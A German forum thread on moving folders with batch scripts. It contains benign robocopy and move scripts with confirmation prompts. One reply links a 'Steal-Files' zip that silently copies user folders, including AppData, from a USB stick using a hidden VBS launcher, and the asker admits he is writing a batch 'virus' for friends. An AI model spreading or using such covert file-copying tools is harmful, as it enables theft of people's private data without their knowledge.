Ordner in einen anderen Ordner verschieben per Batch?

3 Antworten

Moin Moin,

ich habe mir so ein mini "Backup Programm" Programmiert, wenn du die Zip entpackt hast, kannst du dir die Daten angucken, indem du sie Bearbeitest. Hoffe es hilft dir.

Die "file.bat" ist die interessante Datei. Nur so neben bei, das "Programm" holt sich durch die "invisible.vbs" die Daten versteckt. Ich hafte für nichts 😋

 

Grüße, Nioy

P.S. Ich an deiner Stelle würde mir Daten von Fremden immer erst angucken (Bei Windows Bearbeiten mit rechtsklick) bevor ich sie ausführe.

Woher ich das weiß:Hobby
gamerhazze987 
Fragesteller
 07.10.2020, 18:47

Woher weiß ich dass das kein Virus ist haha

0
nioy1  07.10.2020, 19:00
@gamerhazze987

Das is ne gute frage, es gibt das Skript auch auf anderen Webseiten zum Selber Programmieren. Du kannst es (glaube ich) auch auf Youtube unter StealFiles finden.

Vertrauen ist gut, Kontrolle ist besser!
0
gamerhazze987 
Fragesteller
 17.10.2020, 15:04
@nioy1

Eine Sache noch wenn ich auf START drücke dann kommt die Fehlermeldung dass die Datei invisible.vbs nicht existiert, obwohl sie in dem Ordner ist??

0
nioy1  18.10.2020, 03:04
@gamerhazze987

Moin Moin,

ich habe das Skript nochmal Aktualisiert. (http://nioy.ddns.net/data/bat/Steal-Files.zip)

Du musst beachten, dass du die Daten nicht in einem Unterordner hast. Am besten hast du das Skript auf einer Festplatte oder USB Stick ganz oben, also die Daten dürfen nicht in einem Ordner sein. (D:\file.bat und D:\start.bat etc.)

Grüße, Nioy

0
gamerhazze987 
Fragesteller
 22.10.2020, 15:09
@nioy1

Ok danke funktioniert jetzt. Allerdings wird alles außer AppData kopiert... woran könnte das liegen?

0
nioy1  22.10.2020, 16:56
@gamerhazze987

Okay, gerne.

Das Terminal (CMD) braucht lange um die Daten zu kopieren. Wenn du die "invisible.vbs" löschst oder umbenennst (verschiebest etc.), wird dir das Skript im Vordergrund angezeigt. Dann siehst du, was das Skript gerade tut und ob es sich aufgehängt hat.

(Es wird dir die Schwarze Konsole mit dem jeweiligem Pfand angezeigt.)

Grüße, Nioy

0
gamerhazze987 
Fragesteller
 22.10.2020, 19:20
@nioy1

Ja hab ich schon probiert, ich hab sogar nur die eine Zeile ausgeführt nichts passiert

0
Erzesel  08.10.2020, 01:54

...naja..😏ginge so

...allerdings ... (gut gemeinte Kritik):

  • löst Zeile3 "/min" erstmal nen Fehler aus (macht auch so keinen Sinn.)
  • Zeile 4 "SET odrive=%odrive:~0,2%" ist völlig Sinnfrei eine vormals Leere Variable enthält danach ~0,2 (bloß gut das die nirgendwo verwendet wird)
  • für xcopy ist der Schalter /s überflüssig, da /e höhere Priorität hat. (ansonsten ist der Einsatz als Makro prima)
  • die Variable %drive% im Zielpfad ist nicht definiert. somit ist das Ziellaufwerk automatisch das Laufwerk, von welchem die Batch gestarte wurde. ( \pfad impliziert immer das aktuelle Laufwerk)
  • gibt's für "echo off" 100€? (es ist nur eines am Anfang nötig)
  • massage.vbs ... ja am liebste Thaimassage 😅

..für nen Anfänger akzeptabel, aber fehlerhafte "Ware" sollte man für sich behalten. (oder testest Du nicht was Du programmierst?)

1
nioy1  08.10.2020, 13:10
@Erzesel

Hahaha, danke für dein Feedback, werde ich nochmal ändern. 😅

Das hatte ich vor ca 5 Jahren mal Programmiert und ein oder zweimal benutzt. Daher.... ja, ich hätte nochmal drüber gucken sollen. 😂

Sorry...

0

Dazu braucht man schon etwas mehr als nur einen Befehl...😲

Eigentlich wollte ich ich mir eine Antwort verkneifen:

  • Zum Einen hast Du Dich bisher in keinster Weiße für bereits gegebene Antworten erkenntlich gezeigt. (Helfer bekommen den Job nur bezahlt, wenn Ihre Antworten Bewertet wurden ...Knöpfe, Sterne und Daumensymbole ...bisher haben alle Helfer umsonst ihre Zeit vergeudet) 😅Ok war Spaß, wir bekommen kein Geld. Hilfreich, Daumen und Danke sind jedoch virtueller ein Anreiz weiterzumachen .
  • Der zweite Punkt wäre Dein Hang zu "Scherzen" . Die letzten 7 Fragen bezogen sich Auf Themen, welche nicht unbedingt auf die Gegenliebe anderer stoßen dürften....

Verschieben ist im Gegensatz zu Kopieren eine ziemlich unsichere Sache.(was man verschiebt ist erstmal weg und es gibt Situationen (zB. USBsticks) das Ziel nach der Aktion kaputt ist (und die Daten im Eimer).

Die Ordner Desktop,Bilde usw. zu verschieben macht das System kaputt. Folglich hatte ich in dieser Beziehung gewisse Skrupel und beschränke mich auf die Inhalte von Ordnern (auch wenn das verschieben eines kompletten Ordners mit einer Zeile zu erledigen gewesen wäre.)

Dies sollte man nicht auf vom System verwaltete Ordner anwenden:

  rem Unwahrscheinlich das sich eine Kombination aus 2 Zufallszahlen  (%random%-%random%) wiederholt...  
robocopy /move /e /unicode   "%userprofile%\Desktop\testOrdner" "f:\SammelOrdner\testOrdner_%random%-%random%"

Das "abräumen" des Desktop sollte man auch nicht unbedingt einer Batch überlassen.

Zum auslagern von Dateien und Ordnern aus dem Bilderordner dürfte das folgende brauchbar sein,. (statt der Zufallszahlen wird ein in100 Jahren garantiert einmaliger Zeitstempel ververwendet.

 @echo off
chcp 65001 >nul


::hier Einstellungen ändern
  rem Quellordner...
set "sourceFolder=%userprofile%\Desktop\testOrdner"
  rem Zielpfad in welchem unser "Automatikordner" erstellt wird...
set "destinationPath=f:\SammelOrdner"




::Ende Einstellungen
::ab Hier muss nichts meher verändert werden!!!!


  rem erstelle Millisekundengenauen Zeitstempel für   einzigartugen automatischen Ordnernamen...
  rem 2 Stellen für Jahr genügen und die letzten 3 Stellen für Mikrosekunden sind immer 000 also auch abschneiden. 
for /f "skip=2 tokens=2,3 delims=,.+" %%a in ('wmic os get localdatetime /format:csv') do ( set "timeStamp=%%a%%b")
set "timeStamp=%timeStamp:~2,15%"


  rem wir brauchen vom GesamtPfad der Quellorders nur das letzte Stück, den QuellOrdnerName
for %%a in ("%sourceFolder%") do ( set "sourceFolderName=%%~na")
  rem jetz bauen wir den Namen für unseren ZielOrdner zusammen  ZielPfad\QuellOrdnerName+Zeitstempel (einzigartiger geht es nicht)
set "destinationFolder=%destinationPath%\%sourceFolderName%_%timeStamp%"


echo soll ich wirlich den Inhalt von:
echo %sourceFolder%
echo ...nach:
echo %destinationFolder%
echo ...verschieben?
echo:
choice
if %errorlevel% neq 1 (
    echo ...nichts passiert...
    timeout 10
    exit /b
)
::bis hier wird nichts am Dateisystem verändert.


  rem erzeuge Zielordner...
md "%destinationFolder%"


  rem wir können/wollen nicht SystemOrdner wie "Bilder" , "Dokomente" , "Musik" usw. verschieben,
  rem ergo beschränken wir uns auf deren Inhalt!  (geht  nur in Meheren Schritten,  da move  nur Dateien verschiebt und Robocopy nur  komplette Ordnerstrukturen) 


  rem erstmal Dateien aus der obersten Ebene des Quellordners verschieben...
move "%sourceFolder%\*" "%destinationFolder%"


  rem ermitle Unterordner des Quellordners
for /d %%a in ("%sourceFolder%\*") do (
      rem wir  brauchen wiede lediglich den nackten Namen ohne Pfad  (%%~na)
      rem mal anzeigen
    echo %%~na
      rem Unterordner verschieben... 
    robocopy /move /e /unicode   "%sourceFolder%\%%~na" "%destinationFolder%\%%~na" /NJS /NJH 
)


echo Fertig...
pause

...so jetzt entscheidest Du ob weitere Fragen in Zukunft in adäquater Weiße beantwortet werden..., da sind noch ein Paar Sachen offen...😤 und nicht nur für mich...

Woher ich das weiß:eigene Erfahrung – Ich mach das seit 30 Jahren
Erzesel  08.10.2020, 00:35

PS: hatte ich übersehen...

Kopieren ginge auch

Wenn nur ein Backup einer Ordnerstruktur erstellt werden soll (also nichts gelöscht wird) reicht folgendes:

@echo off
chcp 65001 >nul


for /f "skip=2 tokens=2,3 delims=,.+" %%a in ('wmic os get localdatetime /format:csv') do ( set "timeStamp=%%a%%b")
set "timeStamp=%timeStamp:~2,15%"


robocopy /e /unicode   "%userprofile%\Desktop\testOrdner" "f:\SammelOrdner\testOrdner_%timeStamp%"
pause
1
gamerhazze987 
Fragesteller
 08.10.2020, 17:23

Vielen Dank für die Antwort.

Eigentlich bin ich über jede Antwort meiner bisher gestellten Fragen dankbar, ich markiere halt nicht alles immer als Hilfreich oder so.

Und ich gebe ehrlichweise zu dass ich im Moment an einem "Virus" arbeite, der aber niemanden ernsthaft zu Schaden kommen lässt. Der kommt nur zu guten Freunden, wir schicken uns gern Batch "Viren" hin und her.

Also ob du das als zu gefährlich einstufst, bleibt natürlich dir überlassen, du kannst ja nicht wissen was ich tue. Jedoch bin ich immer über (besonders deine) antworten erfreut, hilft mir fast immer weiter!!

Gruß

0